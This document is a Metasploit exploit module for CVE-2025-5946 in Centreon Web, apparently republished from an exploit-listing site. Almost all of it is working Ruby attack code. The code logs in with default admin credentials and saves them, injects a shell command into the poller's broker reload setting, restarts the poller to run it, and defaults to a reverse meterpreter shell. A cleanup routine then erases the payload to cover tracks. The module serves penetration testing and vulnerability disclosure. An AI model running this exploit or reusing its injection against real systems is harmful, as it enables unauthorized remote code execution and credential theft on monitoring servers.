Share
## https://sploitus.com/exploit?id=PACKETSTORM:211222
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Centreon authenticated command injection leading to RCE via broker engine "reload" parameter',
            'Description' => %q{
              Centreon is a platform designed to monitor your cloud and on-premises infrastructure.
              This module exploits an command injection vulnerability using the `broker engine reload` setting
              on the poller configuration page of the Centreon web application. Injecting a malcious payload
              at the `broker engine reload` parameter and restarting the poller triggers this vulnerability.
              You need have admin access at the Centreon Web application in order to execute this RCE.
              This issue affects all Centreon editions >= `19.10.0` and it is fixed in Centreon Web versions
              `24.10.13`, `24.04.18` and `23.10.28`.
            },
            'Author' => [
              'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Discovery, Metasploit module & default password weakness
            ],
            'References' => [
              ['CVE', '2025-5946'],
              ['URL', 'https://thewatch.centreon.com/latest-security-bulletins-64/cve-2025-5946-centreon-web-all-versions-high-severity-5104'],
              ['URL', 'https://attackerkb.com/topics/23D4cUoBZj/cve-2025-5946']
            ],
            'License' => MSF_LICENSE,
            'Platform' => ['unix', 'linux'],
            'Privileged' => false,
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Unix/Linux Command',
                {
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
                  },
                  'Payload' => {
                    'Encoder' => 'cmd/base64',
                    'BadChars' => "\x20\x3E\x26\x27\x22" # no space > & ' "
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-09-24',
            'DefaultOptions' => {
              'SSL' => true,
              'RPORT' => 443
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Path to the Centreon application', '/centreon']),
          OptString.new('USERNAME', [true, 'Centreon web admin user', 'admin']),
          OptString.new('PASSWORD', [true, 'Centreon web admin password', 'Centreon!123'])
        ])
      end
    
      # login at the Centreon web application
      # return true if login successful else false
      def centreon_login(name, pwd)
        # login with admin credentials
        # first try login logic in newer versions
        post_data = {
          login: name.to_s,
          password: pwd.to_s
        }.to_json
        res = send_request_cgi({
          'method' => 'POST',
          'ctype' => 'application/json',
          'keep_cookies' => true,
          'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'authentication', 'providers', 'configurations', 'local'),
          'data' => post_data.to_s
        })
        return true if res&.code == 200 && res.body.include?('redirect_uri')
    
        # try again using login logic for older versions
        # get centreon_token
        res = send_request_cgi!({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path),
          'keep_cookies' => true
        })
    
        # find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
        if res&.code == 200 && res.body.include?('centreon_token')
          centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
          centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
        else
          vprint_status('No centreon_token found!')
          return false
        end
    
        # login with admin credentials and centreon_token
        if centreon_token
          vprint_status("centreon_token=#{centreon_token}")
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'index.php'),
            'keep_cookies' => true,
            'vars_post' => {
              'useralias' => name.to_s,
              'password' => pwd.to_s,
              'submitLogin' => 'Connect',
              'centreon_token' => centreon_token.to_s
            }
          })
          return true if res&.code == 302
        else
          vprint_warning('Unable to process the centreon_token.')
        end
        false
      end
    
      # CVE-2025-5946: Command Injection leading to RCE via the centreon broker engine "reload" parameter triggered by a poller reload
      def execute_payload(cmd, _opts = {})
        @clean_payload = true
        payload = ";#{cmd}"
        vprint_status("payload=#{payload}")
        # attach payload at the centreon broker engine "reload parameter
        fail_with(Failure::PayloadFailed, 'Dropping the payload at the target failed.') unless drop_rce_payload(payload)
    
        # trigger execution by restarting the poller
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
          'keep_cookies' => true,
          'vars_post' => {
            'poller' => 1,
            'mode' => 1
          }
        })
      end
    
      # attach payload at the centreon broker engine "reload" parameter and commit into the sql database
      def drop_rce_payload(payload)
        # get the poller configuration and centreon_token
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'main.get.php'),
          'keep_cookies' => true,
          'vars_get' => {
            'p' => 60901,
            'o' => 'c',
            'server_id' => 1
          }
        })
    
        # find the token: <input name="centreon_token" type="hidden" value="988067bfac1fdbb52566cb06bef5b514" />
        if res&.code == 200 && res.body.include?('centreon_token')
          centreon_token_match = res.body.match(%r{<input name="centreon_token".*/>})
          centreon_token = centreon_token_match[0].split('value="')[1].gsub(%r{".*/>}, '') unless centreon_token_match.nil?
        else
          vprint_status('No centreon_token found!')
          return false
        end
    
        # update poller "centreon broker engine reload" setting with payload
        if centreon_token
          vprint_status("centreon_token=#{centreon_token}")
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'main.get.php'),
            'keep_cookies' => true,
            'vars_get' => {
              'p' => 60901
            },
            'vars_post' => {
              'name' => 'Central',
              'ns_ip_address' => '127.0.0.1',
              'localhost[localhost]' => 1,
              'is_default[is_default]' => 1,
              'gorgone_communication_type[gorgone_communication_type]' => 1,
              'gorgone_port' => 5556,
              'engine_start_command' => 'service centengine start',
              'engine_stop_command' => 'service centengine stop',
              'engine_restart_command' => 'service centengine restart',
              'engine_reload_command' => 'service centengine reload',
              'nagios_bin' => '/usr/sbin/centengine',
              'nagiostats_bin' => '/usr/sbin/centenginestats',
              'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
              'broker_reload_command' => "service cbd reload#{payload}",
              'centreonbroker_cfg_path' => '/etc/centreon-broker',
              'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
              'centreonbroker_logs_path' => nil,
              'centreonconnector_path' => '/usr/lib64/centreon-connector',
              'init_script_centreontrapd' => 'centreontrapd',
              'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
              'ns_activate[ns_activate]' => 1,
              'submitC' => 'Save',
              'id' => 1,
              'o' => 'c',
              'centreon_token' => centreon_token.to_s
            }
          })
          if res&.code == 200 && res.body.include?('ajaxOption table')
            vprint_good('Poller setting "broker_reload_command" updated with payload.')
            return true
          end
          vprint_warning('Poller setting "broker_reload_command" is not updated with payload.')
        else
          vprint_warning('Unable to process the centreon_token.')
        end
        return false
      end
    
      # try to remove the payload from the poller settings to cover our tracks
      def cleanup
        super
        # check if payload should be cleaned
        if @clean_payload
          vprint_status('Cleaning up the mess...')
          if drop_rce_payload(nil)
            print_good('Payload has been successfully removed from the poller setting "broker_reload_command".')
          else
            print_warning('Payload not removed. Try to remove it manually from the poller setting "broker_reload_command".')
          end
        end
      end
    
      # get the Centreon version
      # return version if successful else nil
      def get_centreon_version
        # get version information use Web API v2.0
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api', 'latest', 'platform', 'versions'),
          'keep_cookies' => true
        })
        # for older versions try to scrape the version from the login web page
        unless res&.code == 200 && res.body.include?('web')
          res = send_request_cgi!({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path),
            'keep_cookies' => true
          })
          return nil unless res&.code == 200
    
          build = res.body.match(/v\.\s*\d+\.\d+\.\d+/)
          return nil if build.nil?
    
          return build[0].gsub(/[[:space:]]/, '').split('v.')[1]
        end
        res_json = res.get_json_document
        res_json['web']['version'] unless res_json.blank?
      end
    
      def check
        version = get_centreon_version
        return CheckCode::Unknown('Can not determine the Centreon version.') if version.nil?
    
        case version.scan(/^\d+\.\d+/)[0]
        when '24.10'
          return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.10.13')
        when '24.04'
          return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('24.04.18')
        when '23.10'
          return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) < Rex::Version.new('23.10.28')
        else
          return CheckCode::Appears("Centreon version #{version}") if Rex::Version.new(version) >= Rex::Version.new('19.10.0')
        end
    
        CheckCode::Safe("Centreon version #{version}")
      end
    
      def exploit
        # check if we can login at the Centreon Web application with the default admin credentials
        username = datastore['USERNAME']
        password = datastore['PASSWORD']
        print_status("Trying to log in with admin credentials #{username}:#{password} at the Centreon Web application.")
        fail_with(Failure::NoAccess, 'Failed to authenticate at the Centreon Web application.') unless centreon_login(username, password)
        print_status('Succesfully authenticated at the Centreon Web application.')
    
        # storing credentials at the msf database
        print_status('Saving admin credentials at the msf database.')
        store_valid_credential(user: username, private: password)
    
        print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
        execute_payload(payload.encoded)
      end
    end